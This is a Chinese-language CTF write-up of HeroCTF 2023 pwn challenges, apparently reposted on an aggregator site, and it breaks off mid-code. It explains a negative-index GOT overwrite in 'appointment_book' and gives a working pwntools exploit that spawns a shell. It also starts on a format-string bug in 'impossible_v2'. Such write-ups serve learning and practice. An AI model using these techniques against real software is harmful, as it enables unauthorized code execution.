CTF 2023 三道pwn题 您所在的位置:网站首页 mindbreak啥意思 CTF 2023 三道pwn题

CTF 2023 三道pwn题

2023-05-31 14:24| 来源: 网络整理| 查看: 265

作者丨selphappointment_book程序信息

程序保护信息:

➜ HeroCTF checksec appointment_book[*] '/home/selph/ctf/HeroCTF/appointment_book'    Arch:     amd64-64-little    RELRO:    No RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)

这里其实已经给出提示了,没有Relocation Read-Only,没有PIE,说明可以去修改got表项,当时咋就没想到呢hhhh

程序运行信息:

***** Select an option *****1) List appointments2) Add an appointment3) Exit

Your choice: 2[+] Enter the index of this appointment (0-7): 0[+] Enter a date and time (YYYY-MM-DD HH:MM:SS): 1111-11-11 22:22:22[+] Converted to UNIX timestamp using local timezone: -27080300601[+] Enter an associated message (place, people, notes...): YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY

***** Select an option *****1) List appointments2) Add an appointment3) Exit

Your choice: 1

[+] List of appointments:- Appointment n°1:    - Date: 1111-11-11 22:22:22    - Message: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY

- Appointment n°2:    [NO APPOINTMENT]- Appointment n°3:    [NO APPOINTMENT]- Appointment n°4:    [NO APPOINTMENT]- Appointment n°5:    [NO APPOINTMENT]- Appointment n°6:    [NO APPOINTMENT]- Appointment n°7:    [NO APPOINTMENT]- Appointment n°8:    [NO APPOINTMENT]

***** Select an option *****1) List appointments2) Add an appointment3) Exit

逆向分析

主程序:就是提供个菜单项,主要功能在菜单函数内

int __cdecl __noreturn main(int argc, const char **argv, const char **envp){  char *v3; // rax  int v4; // [rsp+4h] [rbp-Ch]  time_t v5; // [rsp+8h] [rbp-8h]

  memset(&appointments, 0, 0x80uLL);  puts("========== Welcome to your appointment book. ==========");  v5 = time(0LL);  v3 = timestamp_to_date(v5);  printf("\n[LOCAL TIME] %s\n", v3);  fflush(stdout);  while ( 1 )  {    v4 = menu();    if ( v4 == 3 )    {      puts("\n[+] Good bye!");      fflush(stdout);      exit(1);    }    if ( v4 > 3 )    {LABEL_10:      puts("\n[-] Unknwon choice\n");      fflush(stdout);    }    else if ( v4 == 1 )    {      list_appointments();    }    else    {      if ( v4 != 2 )        goto LABEL_10;      create_appointment();    }  }}

list_appointments函数:这里只是展示结构体保存的内容,没有什么特别的

int list_appointments(){  int result; // eax  char *v1; // rax  int i; // [rsp+4h] [rbp-Ch]  const char **v3; // [rsp+8h] [rbp-8h]

  puts("\n[+] List of appointments: ");  result = fflush(stdout);  for ( i = 0; i  7 );              // 【关键点!!!!!】  v5 = &appointments[i];  printf("[+] Enter a date and time (YYYY-MM-DD HH:MM:SS): ");  fflush(stdout);  fgets((char *)tmp_data, 0x1E, stdin);  v0 = date_to_timestamp((__int64)tmp_data);    // 接收到一个数字  v5->time = v0;                                // 保存到v5第一个成员  printf("[+] Converted to UNIX timestamp using local timezone: %ld\n", v5->time);  printf("[+] Enter an associated message (place, people, notes...): ");  fflush(stdout);  fgets(content, 0x3E, stdin);                  // 写内容到chunk中  v5->pMessage = (__int64)content;              // 只能申请chunk,不能释放,赋值一个指针  free(tmp_data);  return v6 - __readfsqword(0x28u);}

这里的一个小细节,反而是这个题目的关键点!!!:

do  {    printf("[+] Enter the index of this appointment (0-7): ");    fflush(stdout);    __isoc99_scanf("%d", &i);    getchar();  }  while ( i > 7 );      

这是中间的一段循环,意思是,如果输入的索引超过了索引上限,则要求重新输入,但是这里输入可以为负数!

程序里还有个辅助函数:

.text:0000000000401336 ; Attributes: bp-based frame.text:0000000000401336.text:0000000000401336 ; int debug_remote().text:0000000000401336 public debug_remote.text:0000000000401336 debug_remote proc near.text:0000000000401336 ; __unwind {.text:0000000000401336 endbr64.text:000000000040133A push    rbp.text:000000000040133B mov     rbp, rsp.text:000000000040133E lea     rax, command    ; "/bin/sh".text:0000000000401345 mov     rdi, rax        ; command.text:0000000000401348 call    _system.text:000000000040134D nop.text:000000000040134E pop     rbp.text:000000000040134F retn.text:000000000040134F ; } // starts at 401336.text:000000000040134F debug_remote endp

当这里输入为负数,则绕过了索引值合法性的检查,使用负数索引,会导致索引到数组之前的地址上面,然后对其进行编辑

这里的思路就是,通过输入一个负数索引,让数组索引到got表项上,然后修改got表项的值为该辅助函数,最后触发拿到shell

利用

查看该数组所在的地址:0x0000000004037A0

查看got表项地址:

.got.plt:0000000000403740 A0 38 40 00 00 00 00 00       off_403740 dq offset strftime           ; DATA XREF: _strftime+4↑r.got.plt:0000000000403748 A8 38 40 00 00 00 00 00       off_403748 dq offset __isoc99_scanf     ; DATA XREF: ___isoc99_scanf+4↑r.got.plt:0000000000403750 B0 38 40 00 00 00 00 00       off_403750 dq offset exit               ; DATA XREF: _exit+4↑r

计算中间的距离:0x50,刚好只需要输入为索引-5即可让time字段覆盖到exit函数上,只需要计算一下时间戳的转换即可:

这里有一个点就是,不同时区计算出来的结果是不同的,要在比赛中用上,需要使用比赛所在地的时区

这里本地利用,只需要使用本地时间即可,利用脚本:

#!/bin/python3from pwn import *

FILE_NAME = "./appointment_book"REMOTE_HOST = ""REMOTE_PORT = 0

elf = context.binary = ELF(FILE_NAME)

gs = '''continue'''def start():    if args.REMOTE:        return remote(REMOTE_HOST,REMOTE_PORT)    if args.GDB:        return gdb.debug(elf.path, gdbscript=gs)    else:        return process(elf.path)

io = start()

# =============================================================================# ============== exploit ===================

io.sendline(b"2")io.sendline(b"-5")io.sendline(b"1970-02-18 22:27:02")io.sendline(b"junk data")io.sendline(b"3")

# =============================================================================

io.interactive()

运行结果:

➜ HeroCTF python3 appointment.py[*] '/home/selph/ctf/HeroCTF/appointment_book'    Arch:     amd64-64-little    RELRO:    No RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[+] Starting local process '/home/selph/ctf/HeroCTF/appointment_book': pid 19621[*] Switching to interactive mode========== Welcome to your appointment book. ==========

[LOCAL TIME] 2023-05-16 11:02:54

***** Select an option *****1) List appointments2) Add an appointment3) Exit

Your choice: [+] Enter the index of this appointment (0-7): [+] Enter a date and time (YYYY-MM-DD HH:MM:SS): [+] Converted to UNIX timestamp using local timezone: 4199222[+] Enter an associated message (place, people, notes...):***** Select an option *****1) List appointments2) Add an appointment3) Exit

Your choice:[+] Good bye!$ w 11:02:56 up  8:17,  1 user,  load average: 0.01, 0.13, 0.15USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHATselph    tty2     tty2             六14    2days  0.01s  0.01s /usr/libexec/gnome-session-binary --session=ubuntu

impossible_v2

时间花在了,格式化字符串和AES算法上

程序信息

安全选项:无PIE,其他基本上都开了

➜ HeroCTF checksec impossible_v2[*] '/home/selph/ctf/HeroCTF/impossible_v2'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)

运行:

➜ HeroCTF ./impossible_v2I've implemented a 1-block AES ECB 128 cipher that uses a random key.Try to give me a message such as AES_Encrypt(message, key) = 0xdeadbeefdeadbeefcafebabecafebabe.(don't try too much, this is impossible).

Enter your message: goodDo you want to change it ? (y/n) yEnter your message (last chance): asdSo, this is your final message: 6173640a000000000000000000000000000000000000000000000000000000000000000000000000

Well, I guess you're not this smart :)

提示的很明显,这里进行了一次AES ECB模式 128位的加密,使用的是随机的Key,要求最后加密的结果为0xdeadbeefdeadbeefcafebabecafebabe才行

逆向分析

程序流程全在main函数里,比较简单:

int __cdecl main(int argc, const char **argv, const char **envp){  char v4; // [rsp+3h] [rbp-3Dh]  char v5; // [rsp+3h] [rbp-3Dh]  int i; // [rsp+4h] [rbp-3Ch]  FILE *streama; // [rsp+8h] [rbp-38h]  FILE *stream; // [rsp+8h] [rbp-38h]  char input[40]; // [rsp+10h] [rbp-30h] BYREF  unsigned __int64 v10; // [rsp+38h] [rbp-8h]

  v10 = __readfsqword(0x28u);  puts(    "I've implemented a 1-block AES ECB 128 cipher that uses a random key.\n"    "Try to give me a message such as AES_Encrypt(message, key) = 0xdeadbeefdeadbeefcafebabecafebabe.\n"    "(don't try too much, this is impossible).\n");  fflush(stdout);  streama = fopen("/dev/urandom", "rb");  fread(key, 0x10uLL, 1uLL, streama);           // key是随机数  fclose(streama);  printf("Enter your message: ");  fflush(stdout);  fgets(input, 40, stdin);  sprintf(message, input);                      // 格式化字符串漏洞  printf("Do you want to change it ? (y/n) ");  fflush(stdout);  v4 = getc(stdin);  getc(stdin);  if ( v4 == 'y' )  {    printf("Enter your message (last chance): ");    fflush(stdout);    fgets(input, 40, stdin);    sprintf(message, input);                    // 再次输入的机会  }  printf("So, this is your final message: ");  for ( i = 0; i 



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

      专题文章
        CopyRight 2018-2019 实验室设备网 版权所有